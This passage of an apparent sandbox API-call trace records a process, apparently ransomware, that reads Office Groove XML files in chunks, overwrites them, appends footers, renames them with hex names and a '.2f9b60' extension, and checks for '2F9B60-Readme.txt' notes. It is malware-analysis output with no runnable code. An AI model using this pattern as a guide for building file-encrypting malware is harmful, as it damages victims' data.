SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x17c75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0198.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0198.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135b30 [0198.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135b30) returned 1 [0198.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ff9560 [0198.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135b30 [0198.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135b90 [0198.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135b90) returned 1 [0198.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0198.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0198.436] WriteFile (in: hFile=0x1d38, lpBuffer=0x41ff9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30fcf5c0, lpOverlapped=0x0 | out: lpBuffer=0x41ff9560*, lpNumberOfBytesWritten=0x30fcf5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ff9560) returned 1 [0213.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fc20 [0213.739] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.739] WriteFile (in: hFile=0x1d38, lpBuffer=0x19eba0*, nNumberOfBytesToWrite=0x176, lpNumberOfBytesWritten=0x30fcf670, lpOverlapped=0x0 | out: lpBuffer=0x19eba0*, lpNumberOfBytesWritten=0x30fcf670*=0x176, lpOverlapped=0x0) returned 1 [0216.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0216.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0216.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6fb0 [0216.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6fb0) returned 1 [0216.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x42058a60 [0216.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6fb0 [0216.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a70d0 [0216.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a70d0) returned 1 [0216.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0216.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0216.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x89) returned 0x4318aea0 [0216.221] sprintf (in: _Dest=0x4318aea0, _Format="%c%c" | out: _Dest="55") returned 2 [0216.221] sprintf (in: _Dest=0x4318aea2, _Format="%c%c" | out: _Dest="54") returned 2 [0216.221] sprintf (in: _Dest=0x4318aea4, _Format="%c%c" | out: _Dest="11") returned 2 [0216.221] sprintf (in: _Dest=0x4318aea6, _Format="%c%c" | out: _Dest="82") returned 2 [0216.221] sprintf (in: _Dest=0x4318aea8, _Format="%c%c" | out: _Dest="27") returned 2 [0216.221] sprintf (in: _Dest=0x4318aeaa, _Format="%c%c" | out: _Dest="e6") returned 2 [0216.222] sprintf (in: _Dest=0x4318aeac, _Format="%c%c" | out: _Dest="05") returned 2 [0216.222] sprintf (in: _Dest=0x4318aeae, _Format="%c%c" | out: _Dest="ac") returned 2 [0216.222] sprintf (in: _Dest=0x4318aeb0, _Format="%c%c" | out: _Dest="91") returned 2 [0216.222] sprintf (in: _Dest=0x4318aeb2, _Format="%c%c" | out: _Dest="81") returned 2 [0216.222] sprintf (in: _Dest=0x4318aeb4, _Format="%c%c" | out: _Dest="39") returned 2 [0216.222] sprintf (in: _Dest=0x4318aeb6, _Format="%c%c" | out: _Dest="f0") returned 2 [0216.222] sprintf (in: _Dest=0x4318aeb8, _Format="%c%c" | out: _Dest="16") returned 2 [0216.222] sprintf (in: _Dest=0x4318aeba, _Format="%c%c" | out: _Dest="b3") returned 2 [0216.222] sprintf (in: _Dest=0x4318aebc, _Format="%c%c" | out: _Dest="19") returned 2 [0216.222] sprintf (in: _Dest=0x4318aebe, _Format="%c%c" | out: _Dest="83") returned 2 [0216.222] sprintf (in: _Dest=0x4318aec0, _Format="%c%c" | out: _Dest="e6") returned 2 [0216.222] sprintf (in: _Dest=0x4318aec2, _Format="%c%c" | out: _Dest="b9") returned 2 [0216.222] sprintf (in: _Dest=0x4318aec4, _Format="%c%c" | out: _Dest="3a") returned 2 [0216.222] sprintf (in: _Dest=0x4318aec6, _Format="%c%c" | out: _Dest="5a") returned 2 [0216.222] sprintf (in: _Dest=0x4318aec8, _Format="%c%c" | out: _Dest="b1") returned 2 [0216.222] sprintf (in: _Dest=0x4318aeca, _Format="%c%c" | out: _Dest="a0") returned 2 [0216.222] sprintf (in: _Dest=0x4318aecc, _Format="%c%c" | out: _Dest="f7") returned 2 [0216.222] sprintf (in: _Dest=0x4318aece, _Format="%c%c" | out: _Dest="dc") returned 2 [0216.222] sprintf (in: _Dest=0x4318aed0, _Format="%c%c" | out: _Dest="ed") returned 2 [0216.222] sprintf (in: _Dest=0x4318aed2, _Format="%c%c" | out: _Dest="2f") returned 2 [0216.222] sprintf (in: _Dest=0x4318aed4, _Format="%c%c" | out: _Dest="a0") returned 2 [0216.222] sprintf (in: _Dest=0x4318aed6, _Format="%c%c" | out: _Dest="94") returned 2 [0216.222] sprintf (in: _Dest=0x4318aed8, _Format="%c%c" | out: _Dest="5c") returned 2 [0216.222] sprintf (in: _Dest=0x4318aeda, _Format="%c%c" | out: _Dest="29") returned 2 [0216.222] sprintf (in: _Dest=0x4318aedc, _Format="%c%c" | out: _Dest="59") returned 2 [0216.223] sprintf (in: _Dest=0x4318aede, _Format="%c%c" | out: _Dest="6e") returned 2 [0216.223] sprintf (in: _Dest=0x4318aee0, _Format="%c%c" | out: _Dest="c4") returned 2 [0216.223] sprintf (in: _Dest=0x4318aee2, _Format="%c%c" | out: _Dest="01") returned 2 [0216.223] sprintf (in: _Dest=0x4318aee4, _Format="%c%c" | out: _Dest="0a") returned 2 [0216.223] sprintf (in: _Dest=0x4318aee6, _Format="%c%c" | out: _Dest="fa") returned 2 [0216.223] sprintf (in: _Dest=0x4318aee8, _Format="%c%c" | out: _Dest="4e") returned 2 [0216.223] sprintf (in: _Dest=0x4318aeea, _Format="%c%c" | out: _Dest="f9") returned 2 [0216.223] sprintf (in: _Dest=0x4318aeec, _Format="%c%c" | out: _Dest="16") returned 2 [0216.223] sprintf (in: _Dest=0x4318aeee, _Format="%c%c" | out: _Dest="0a") returned 2 [0216.223] sprintf (in: _Dest=0x4318aef0, _Format="%c%c" | out: _Dest="83") returned 2 [0216.223] sprintf (in: _Dest=0x4318aef2, _Format="%c%c" | out: _Dest="c0") returned 2 [0216.223] sprintf (in: _Dest=0x4318aef4, _Format="%c%c" | out: _Dest="e9") returned 2 [0216.223] sprintf (in: _Dest=0x4318aef6, _Format="%c%c" | out: _Dest="e4") returned 2 [0216.223] sprintf (in: _Dest=0x4318aef8, _Format="%c%c" | out: _Dest="cf") returned 2 [0216.223] sprintf (in: _Dest=0x4318aefa, _Format="%c%c" | out: _Dest="bd") returned 2 [0216.223] sprintf (in: _Dest=0x4318aefc, _Format="%c%c" | out: _Dest="b6") returned 2 [0216.223] sprintf (in: _Dest=0x4318aefe, _Format="%c%c" | out: _Dest="92") returned 2 [0216.223] sprintf (in: _Dest=0x4318af00, _Format="%c%c" | out: _Dest="ef") returned 2 [0216.223] sprintf (in: _Dest=0x4318af02, _Format="%c%c" | out: _Dest="ae") returned 2 [0216.223] sprintf (in: _Dest=0x4318af04, _Format="%c%c" | out: _Dest="cd") returned 2 [0216.223] sprintf (in: _Dest=0x4318af06, _Format="%c%c" | out: _Dest="0b") returned 2 [0216.223] sprintf (in: _Dest=0x4318af08, _Format="%c%c" | out: _Dest="1f") returned 2 [0216.223] sprintf (in: _Dest=0x4318af0a, _Format="%c%c" | out: _Dest="1e") returned 2 [0216.224] sprintf (in: _Dest=0x4318af0c, _Format="%c%c" | out: _Dest="04") returned 2 [0216.224] sprintf (in: _Dest=0x4318af0e, _Format="%c%c" | out: _Dest="d2") returned 2 [0216.224] sprintf (in: _Dest=0x4318af10, _Format="%c%c" | out: _Dest="ba") returned 2 [0216.224] sprintf (in: _Dest=0x4318af12, _Format="%c%c" | out: _Dest="a0") returned 2 [0216.224] sprintf (in: _Dest=0x4318af14, _Format="%c%c" | out: _Dest="a4") returned 2 [0216.224] sprintf (in: _Dest=0x4318af16, _Format="%c%c" | out: _Dest="32") returned 2 [0216.224] sprintf (in: _Dest=0x4318af18, _Format="%c%c" | out: _Dest="7c") returned 2 [0216.224] sprintf (in: _Dest=0x4318af1a, _Format="%c%c" | out: _Dest="f2") returned 2 [0216.224] sprintf (in: _Dest=0x4318af1c, _Format="%c%c" | out: _Dest="30") returned 2 [0216.224] sprintf (in: _Dest=0x4318af1e, _Format="%c%c" | out: _Dest="6d") returned 2 [0216.224] sprintf (in: _Dest=0x4318af20, _Format="%c%c" | out: _Dest="d5") returned 2 [0216.224] sprintf (in: _Dest=0x4318af22, _Format="%c%c" | out: _Dest="ae") returned 2 [0216.224] sprintf (in: _Dest=0x4318af24, _Format="%c%c" | out: _Dest="d9") returned 2 [0216.224] sprintf (in: _Dest=0x4318af26, _Format="%c%c" | out: _Dest="19") returned 2 [0216.224] RtlInitAnsiString (in: DestinationString=0x30fcf6e8, SourceString="5554118227e605ac918139f016b31983e6b93a5ab1a0f7dced2fa0945c29596ec4010afa4ef9160a83c0e9e4cfbdb692efaecd0b1f1e04d2baa0a4327cf2306dd5aed919" | out: DestinationString="5554118227e605ac918139f016b31983e6b93a5ab1a0f7dced2fa0945c29596ec4010afa4ef9160a83c0e9e4cfbdb692efaecd0b1f1e04d2baa0a4327cf2306dd5aed919") [0216.224] RtlAnsiStringToUnicodeString (in: DestinationString=0x30fcf6b8, SourceString="5554118227e605ac918139f016b31983e6b93a5ab1a0f7dced2fa0945c29596ec4010afa4ef9160a83c0e9e4cfbdb692efaecd0b1f1e04d2baa0a4327cf2306dd5aed919", AllocateDestinationString=1 | out: DestinationString="5554118227e605ac918139f016b31983e6b93a5ab1a0f7dced2fa0945c29596ec4010afa4ef9160a83c0e9e4cfbdb692efaecd0b1f1e04d2baa0a4327cf2306dd5aed919") returned 0x0 [0216.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x431f16e0 [0216.225] wcscat (in: _Dest=0x431576e0, _Source="5554118227e605ac918139f016b31983e6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\5554118227e605ac918139f016b31983e6") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\5554118227e605ac918139f016b31983e6" [0216.225] wcscat (in: _Dest=0x431576e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\5554118227e605ac918139f016b31983e6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\5554118227e605ac918139f016b31983e6.2f9b60" [0216.225] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\5554118227e605ac918139f016b31983e6.2f9b60", NtPathName=0x30fcf690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\5554118227e605ac918139f016b31983e6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78ec80 [0222.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ec80) returned 1 [0222.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b1970) returned 1 [0222.392] NtQueryInformationFile (in: FileHandle=0x1d38, IoStatusBlock=0x30fcf6f8, FileInformation=0x30fcf708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30fcf6f8, FileInformation=0x30fcf708) returned 0x0 [0222.392] NtSetInformationFile (FileHandle=0x1d38, IoStatusBlock=0x30fcf6f8, FileInformation=0x30fcf708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431576e0) returned 1 [0224.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f16e0) returned 1 [0224.578] FlushFileBuffers (hFile=0x1d38) returned 1 [0224.634] CloseHandle (hObject=0x1d38) returned 1 [0225.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202aca50 [0225.142] wcscpy (in: _Dest=0x202aca50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0225.142] wcscat (in: _Dest=0x202aca50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" [0225.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\2f9b60-readme.txt")) returned 0x20 [0225.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aca50) returned 1 [0225.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118af0) returned 1 Thread: id = 1973 os_tid = 0x11ac [0136.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml")) returned 0x20 [0136.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml", dwFileAttributes=0x20) returned 1 [0136.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d3c [0136.067] GetFileSizeEx (in: hFile=0x1d3c, lpFileSize=0x310af880 | out: lpFileSize=0x310af880*=107859) returned 1 [0136.067] SetFilePointerEx (in: hFile=0x1d3c, liDistanceToMove=0x1a54f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.067] ReadFile (in: hFile=0x1d3c, lpBuffer=0x310af800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x310af848, lpOverlapped=0x0 | out: lpBuffer=0x310af800*, lpNumberOfBytesRead=0x310af848*=0x4, lpOverlapped=0x0) returned 1 [0136.169] SetFilePointerEx (in: hFile=0x1d3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0136.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260680 [0136.169] NtQuerySystemTime (in: CurrentTime=0x310af740 | out: CurrentTime=0x310af740*=132462177414058000) returned 0x0 [0136.169] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x5630eb11 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x2703f9a7 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x1a84bc75 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x305c6c4d [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x1feb24ca [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x325a4228 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x30934df8 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x441cbe3 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x24ab68bf [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x2848eecf [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x708f7885 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x507df655 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x37c34570 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x15e9865a [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x7419ba09 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x5fc9debe [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x7a6eb256 [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x5cf6be5a [0136.170] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x512ebf2 [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x250d11af [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x4876584d [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x2f4f5fb6 [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x658f491a [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x6bf2a250 [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x1f15724d [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x216355ac [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x3458e73e [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x5a8b374 [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x740a00d9 [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x15f3dd80 [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x5d7d6086 [0136.171] RtlRandomEx (in: Seed=0x310af730 | out: Seed=0x310af730) returned 0x396f7890 [0136.182] SetFilePointerEx (in: hFile=0x1d3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.182] ReadFile (in: hFile=0x1d3c, lpBuffer=0x2036f950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x310af7a0, lpOverlapped=0x0 | out: lpBuffer=0x2036f950*, lpNumberOfBytesRead=0x310af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.308] SetFilePointerEx (in: hFile=0x1d3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0136.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0136.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a200 [0136.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a200) returned 1 [0136.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203bad80 [0136.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a200 [0136.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a230) returned 1 [0136.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0136.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0136.310] WriteFile (in: hFile=0x1d3c, lpBuffer=0x203bad80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x310af7a0, lpOverlapped=0x0 | out: lpBuffer=0x203bad80*, lpNumberOfBytesWritten=0x310af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203bad80) returned 1 [0161.137] SetFilePointerEx (in: hFile=0x1d3c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.137] ReadFile (in: hFile=0x1d3c, lpBuffer=0x2036f950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x310af7a0, lpOverlapped=0x0 | out: lpBuffer=0x2036f950*, lpNumberOfBytesRead=0x310af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0165.686] SetFilePointerEx (in: hFile=0x1d3c, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0165.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0165.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aaa0) returned 1 [0165.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425d3da0 [0165.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0165.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0165.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b9a0) returned 1 [0165.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0165.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.689] WriteFile (in: hFile=0x1d3c, lpBuffer=0x425d3da0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x310af7a0, lpOverlapped=0x0 | out: lpBuffer=0x425d3da0*, lpNumberOfBytesWritten=0x310af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425d3da0) returned 1 [0187.139] SetFilePointerEx (in: hFile=0x1d3c, liDistanceToMove=0x16953, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.139] ReadFile (in: hFile=0x1d3c, lpBuffer=0x2036f950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x310af7a0, lpOverlapped=0x0 | out: lpBuffer=0x2036f950*, lpNumberOfBytesRead=0x310af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.526] SetFilePointerEx (in: hFile=0x1d3c, liDistanceToMove=0x16953, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b90 [0190.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138b90) returned 1 [0190.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b31aa0 [0190.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b90 [0190.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138bc0 [0190.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138bc0) returned 1 [0190.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.529] WriteFile (in: hFile=0x1d3c, lpBuffer=0x42b31aa0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x310af7a0, lpOverlapped=0x0 | out: lpBuffer=0x42b31aa0*, lpNumberOfBytesWritten=0x310af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b31aa0) returned 1 [0205.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f360 [0205.309] SetFilePointerEx (in: hFile=0x1d3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.310] WriteFile (in: hFile=0x1d3c, lpBuffer=0x1ceb8490*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x310af850, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8490*, lpNumberOfBytesWritten=0x310af850*=0x162, lpOverlapped=0x0) returned 1 [0208.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a60 [0208.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8030 [0208.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8030) returned 1 [0208.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1ce5e370 [0208.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8030 [0208.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0208.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0208.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0208.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x4319f2f0 [0208.572] sprintf (in: _Dest=0x4319f2f0, _Format="%c%c" | out: _Dest="e3") returned 2 [0208.572] sprintf (in: _Dest=0x4319f2f2, _Format="%c%c" | out: _Dest="37") returned 2 [0208.573] sprintf (in: _Dest=0x4319f2f4, _Format="%c%c" | out: _Dest="04") returned 2 [0208.573] sprintf (in: _Dest=0x4319f2f6, _Format="%c%c" | out: _Dest="71") returned 2 [0208.573] sprintf (in: _Dest=0x4319f2f8, _Format="%c%c" | out: _Dest="1c") returned 2 [0208.573] sprintf (in: _Dest=0x4319f2fa, _Format="%c%c" | out: _Dest="c4") returned 2 [0208.573] sprintf (in: _Dest=0x4319f2fc, _Format="%c%c" | out: _Dest="ed") returned 2 [0208.573] sprintf (in: _Dest=0x4319f2fe, _Format="%c%c" | out: _Dest="ed") returned 2 [0208.573] sprintf (in: _Dest=0x4319f300, _Format="%c%c" | out: _Dest="ff") returned 2 [0208.573] sprintf (in: _Dest=0x4319f302, _Format="%c%c" | out: _Dest="18") returned 2 [0208.573] sprintf (in: _Dest=0x4319f304, _Format="%c%c" | 